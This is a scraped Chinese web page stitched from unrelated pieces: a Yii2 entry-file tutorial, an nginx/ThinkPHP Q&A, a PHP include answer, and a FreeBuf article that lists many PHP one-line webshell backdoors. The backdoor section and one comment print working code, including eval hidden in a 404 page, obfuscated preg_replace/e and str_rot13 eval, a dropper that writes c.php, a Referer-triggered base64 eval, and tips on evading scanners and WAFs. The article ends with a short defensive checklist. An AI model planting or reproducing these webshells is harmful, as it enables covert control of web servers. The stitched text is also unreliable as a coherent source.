b.php文件在二级目录用php中php include 上级目录调用根目录a.php文件,怎么a.php不能正常显示

将高级模板的入口文件移到根目录 - 教程 - Yii Framework 中文网
将高级模板的入口文件移到根目录
12355次浏览
更多请见:
打开X:\wamp\www\yii2advanced\frontend\web 文件夹,将里面的index.php文件复制(或剪切)至根目录X:\wamp\www\yii2advanced 。然后编辑里面的内容为:
defined('YII_DEBUG') or define('YII_DEBUG', true);
defined('YII_ENV') or define('YII_ENV', 'dev');
require(__DIR__ . './vendor/autoload.php');
require(__DIR__ . './vendor/yiisoft/yii2/Yii.php');
require(__DIR__ . './common/config/bootstrap.php');
require(__DIR__ . './frontend/config/bootstrap.php');
$config = yii\helpers\ArrayHelper::merge(
require(__DIR__ . './common/config/main.php'),
require(__DIR__ . './common/config/main-local.php'),
require(__DIR__ . './frontend/config/main.php'),
require(__DIR__ . './frontend/config/main-local.php')
$application = new yii\web\Application($config);
$application-&run();
然后再修改X:\wamp\www\yii2advanced\frontend\config 里的main.php文件,在component里加入
'assetManger' =& [
'basePath' =& '@webroot/frontend/web/assets',
'baseUrl' =& '@web/frontend/web/assets'
整个main.php应该为:
$params = array_merge(
require(__DIR__ . '/../../common/config/params.php'),
require(__DIR__ . '/../../common/config/params-local.php'),
require(__DIR__ . '/params.php'),
require(__DIR__ . '/params-local.php')
'id' =& 'app-frontend',
'basePath' =& dirname(__DIR__),
'bootstrap' =& ['log'],
'controllerNamespace' =& 'frontend\controllers',
'components' =& [
'assetManger' =& [
'basePath' =& '@webroot/frontend/web/assets',
'baseUrl' =& '@web/frontend/web/assets'
'user' =& [
'identityClass' =& 'common\models\User',
'enableAutoLogin' =& true,
'log' =& [
'traceLevel' =& YII_DEBUG ? 3 : 0,
'targets' =& [
'class' =& 'yii\log\FileTarget',
'levels' =& ['error', 'warning'],
'errorHandler' =& [
'errorAction' =& 'site/error',
'params' =& $params,
最后修改X:\wamp\www\yii2advanced\frontend\assets 里的AppAsset.php文件,将里面的:
public $css = [
'css/site.css',
public $css = [
'frontend/web/css/site.css',
这样就可以用 直接访问首页了。
后台修改方法是将X:\wamp\www\yii2advanced\backend\web 里的index.php文件夹复制(剪切)至根目录并重命名为admin.php,其他修改地方与上述类似,只是将frontend改为backend即可。
这样做有什么用呢,请赐教?
把你自己本地的apach配置一下不就好用了吗?为什么要修改框架?
我添加下面代码的时候:
'assetManger' =& [
'basePath' =& '@webroot/frontend/web/assets',
'baseUrl' =& '@web/frontend/web/assets'
报下面的错误:The configuration for the "assetManger" component must contain a "class" element.
这是怎么回事呀?
共 3 条回复
你是不是加到components外面去了?
就按照你上面的方法,但是就是提示错误“The configuration for the "assetManger" component must contain a "class" element.”,是2.03不支持这种方法了吗?
可以用的,强制刷新一下,或者把 assets里面的缓存都删掉
你的 assetManger
名错了,是assetManager
成功搞定,感谢,但是你的assetManger
应该是assetManager,少了一个a
幸亏下面有人指出来少了一个a 不然,你这篇文章看的人越多,错的越多。给新手带来好多麻烦。
这样的话,那后台怎么进入呢?
共 1 条回复
可以在根目录下新建admin.php文件,
文件内容:
header("Location:backend/web/index.php");
即可,不用修改框架
可以在根目录下新建 index.php文件,
文件内容:
header("Location:frontend/web/index.php");
即可,不用修改框架
这样做有什么意义吗?在apache里面配好路径不就可以了吗?
共 1 条回复
虚拟主机下面,只有一个站点。也没有办法修改Apache配置。
我修改完了。但是直接500错误了。
您需要登录后才可以评论。 |那些强悍的PHP一句话后门 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
那些强悍的PHP一句话后门
共4117103人围观
,发现 53 个不明物体
我们以一个学习的心态来对待这些PHP后门程序,很多让我们看到程序员们是多么的用心良苦。
强悍的PHP一句话后门
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马:
&!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&
&html&&head&
&title&404 Not Found&/title&
&/head&&body&
&h1&Not Found&/h1&
&p&The requested URL was not found on this server.&/p&
&/body&&/html&
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话:
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
&?php $_GET[a]($_GET[b]);?&
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
header('Content-type:text/charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10' && count($a) == 9) {
&&&eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
header('Content-type:text/charset=utf-8');
//要执行的代码
$code = &&&CODE
phpinfo();
//进行base64编码
$code = base64_encode($code);
//构造referer字符串
$referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
$url = 'http://localhost/test1/1.php';
$ch = curl_init();
$options = array(
&&&&CURLOPT_URL =& $url,
&&&&CURLOPT_HEADER =& FALSE,
&&&&CURLOPT_RETURNTRANSFER =& TRUE,
&&&&CURLOPT_REFERER =& $referer
curl_setopt_array($ch, $options);
echo curl_exec($ch);
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。
三个变形的一句话PHP木马
&?php ($_=@$_GET[2]).@$_($_POST[1])?&
在菜刀里写密码是1
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
&?php ${'_'.$_}['_'](${'_'.$_}['__']);?&
在菜刀里写($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
最后列几个高级的PHP一句话木马后门:
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数,直接编译任何文件为php格式运行
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include ($uid);
//危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
&?php eval_r($_POST[sb])?&
&?php @eval_r($_POST[sb])?&
//容错代码
&?php assert($_POST[sb]);?&
//使用lanker一句话客户端的专家模式执行相关的php语句
&?$_POST['sa']($_POST['sb']);?&
&?$_POST['sa']($_POST['sb'],$_POST['sc'])?&
@preg_replace("/[email]/e",$_POST['h'],"error");
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
&O&h=@eval_r($_POST1);&/O&
&script language="php"&@eval_r($_POST[sb])&/script&
//绕过&?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
如何应对PHP一句话后门:
我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:
1,对PHP程序编写要有安全意识
2,服务器日志文件要经常看,经常备份
3,对每个站点进行严格的权限分配
4,对动态文件及目录经常批量安全审查
5,学会如何进行手工杀毒《即行为判断查杀》
6,时刻关注,或渗入活跃的网络安全营地
7,对服务器环境层级化处理,哪怕一个函数也可做规则
我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。
以宏观方向展示了各种DIY出来的后门,本文并非是抽象的拿某一例来编写特定后门,所以不要太挑剔,现在的ecshop存在两个内核级后门你能读出来吗?之前被一牛读出来官方死不承认,还有一个一直没人爆出来,强悍不能单一的抽象某个例子。
求解怎么建力数学模 来解决抽象问题微观粒子运动可测吗 求解重力的的最小微粒是怎么样的纯在其实这些后门在以前都用过了 但写出来对作者有什么意义呢?呵呵@落叶纷飞 你是笨蛋吗 所有人都以自己的方式去理解对方的语言以及世界 所以每个人都能读出不同的含义文章也是如此 所以只要去取自己有用的部分即可 就像我和你没有关系一样 所有人都是如此看起来比较孤独 但其实人生就是这样 直到最后也就只有你自己知道死的含义一样哪怕你再疼苦也不会有人知道你有多疼 所以会诞生除2种性格 最求纯在感 藐视一切纯在 当然还有无所谓 的因为现实就是如此世界就像是一个微观世界 充满随机性 充满思想的碰撞 写文章有意义吗 国家有意义吗 军队有意义吗一切只是你认为很重要的东西 你才会去做 至于意义就是你去做了并且 获得了什么 达成了什么目的 或者就是为了好玩然而对于普通人这些根本和他们没有关系补充一个吧toby57 早期用的后门&?php
if(crypt($_SERVER[&HTTP_H0ST&],51)==&514zR17F8j0q6&){@file_put_contents($_SERVER[&HTTP_X&],$_SERVER[&HTTP_Y&]);header(&Location: ./&.$_SERVER[&HTTP_X&]);};
?&后门的方式随机性太多了 你怎么不去一个一个说出来所以我认为你很有意思 可以玩一玩但其实和我也没什么关系呢不知道你是 在乎别人对你的存在感 还是无所谓呢呵呵 或者面对如此寂寞的世界无视一切只最求一样东西呢其实我的回复就只是玩一玩 看看到底是你们回复的多还是我回复的多又或者引导出你们的内心 然后出现引导出大量回复来分析人性不得不说社交的确是一种进步 就算你怎么了解人性 你也不知道它的魅力所在
只能对你说呵呵。那你放个更牛逼的几十种方法出来啊!光说不练,装逼犯
这些后门写的真不安全(不符合安全标准) POST GET 一些包头参数 直接控制参数变量与函数一般这种不管是不是后门都会丢下去重做就是查后门 也只要查多出来的 POST GET Cookie 的一些变量 定位文件 就行了最起码要做到间接利用根据程序本身设计后门基于校验HASH就不说了最多只能bypass一些AV了所谓的强悍 也不过就是方法不同而已 这么多函数 完全可以有N种方法组合自己后门
“最起码要做到间接利用根据程序本身设计后门”那这篇文章该怎么写?“所谓的强悍 也不过就是方法不同而已 这么多函数 完全可以有N种方法组合自己后门”求不用任何函数不用任何代码实现的后门
必须您当前尚未登录。
必须(保密)
这家伙太懒,还未填写个人描述!
关注我们 分享每日精选文章
可以给我们打个分吗?拒绝访问 | php.upupw.net | 百度云加速
请打开cookies.
此网站 (php.upupw.net) 的管理员禁止了您的访问。原因是您的访问包含了非浏览器特征(41cebbfc-ua98).
重新安装浏览器,或使用别的浏览器当前位置:
nginx两个tp程序一个放到二级目录下,只能通过/indexphp?g=Home&m=Category&a=index这种方式访问
nginx两个tp程序一个放到二级目录下,只能通过/indexphp?g=Home&m=Category&a=index这种方式访问
来源:网络整理&&&&&时间: 12:19:51&&&&&关键词:
关于网友提出的“nginx两个tp程序一个放到二级目录下,只能通过/indexphp?g=Home&m=Category&a=index这种方式访问”问题疑问,本网通过在网上对“nginx两个tp程序一个放到二级目录下,只能通过/indexphp?g=Home&m=Category&a=index这种方式访问”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:
问题:nginx两个tp程序一个放到二级目录下,只能通过/indexphp?g=Home&m=Category&a=index这种方式访问
描述:本帖最后由 jonson_li 于
18:02:00 编辑thinkphp二级目录
网站根目录是:xxx.com
二级目录:xxx.com/info
根目录没有问题,可以用u函数访问,二级目录只能访问到首页,或者用xxx.com/info/index.php?g=Home&m=Category&a=index这种方式访问,后台那些都没办法访问。
不知怎么解决,求各位大大指教。解决方案1:
这个问题,由于nginx和Apache不一样,Apache支持.htaccess重写,但nginx不认.htaccess,所以你得让你的nginx支持path_info和伪静态。
解决方案2:
你那样写表示路径中含有/info/&的就都转向,转向到包含/info/的路径,那很显然是死循环。/info/&你后面加个$试试看。
以上介绍了“nginx两个tp程序一个放到二级目录下,只能通过/indexphp?g=Home&m=Category&a=index这种方式访问”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:http://www.codes51.com/itwd/1646525.html
上一篇: 下一篇:php中如何在a.php引用在它上一层文件夹的b.php_百度知道
php中如何在a.php引用在它上一层文件夹的b.php
假如目前a页面在一个叫做 dir的文件夹中 即: ~/dir/a.php那么我想在a.php中include引用~/b.php该如何写
我有更好的答案
include&&../b.php&//&或者include&dirname(dirname(__FILE__))&.&&/b.php&
采纳率:58%
来自团队:
include(../b.php)
本回答被提问者采纳
../include/b.php
为您推荐:
其他类似问题
您可能关注的内容
文件夹的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。

我要回帖

更多关于 php include 目录 的文章

 

随机推荐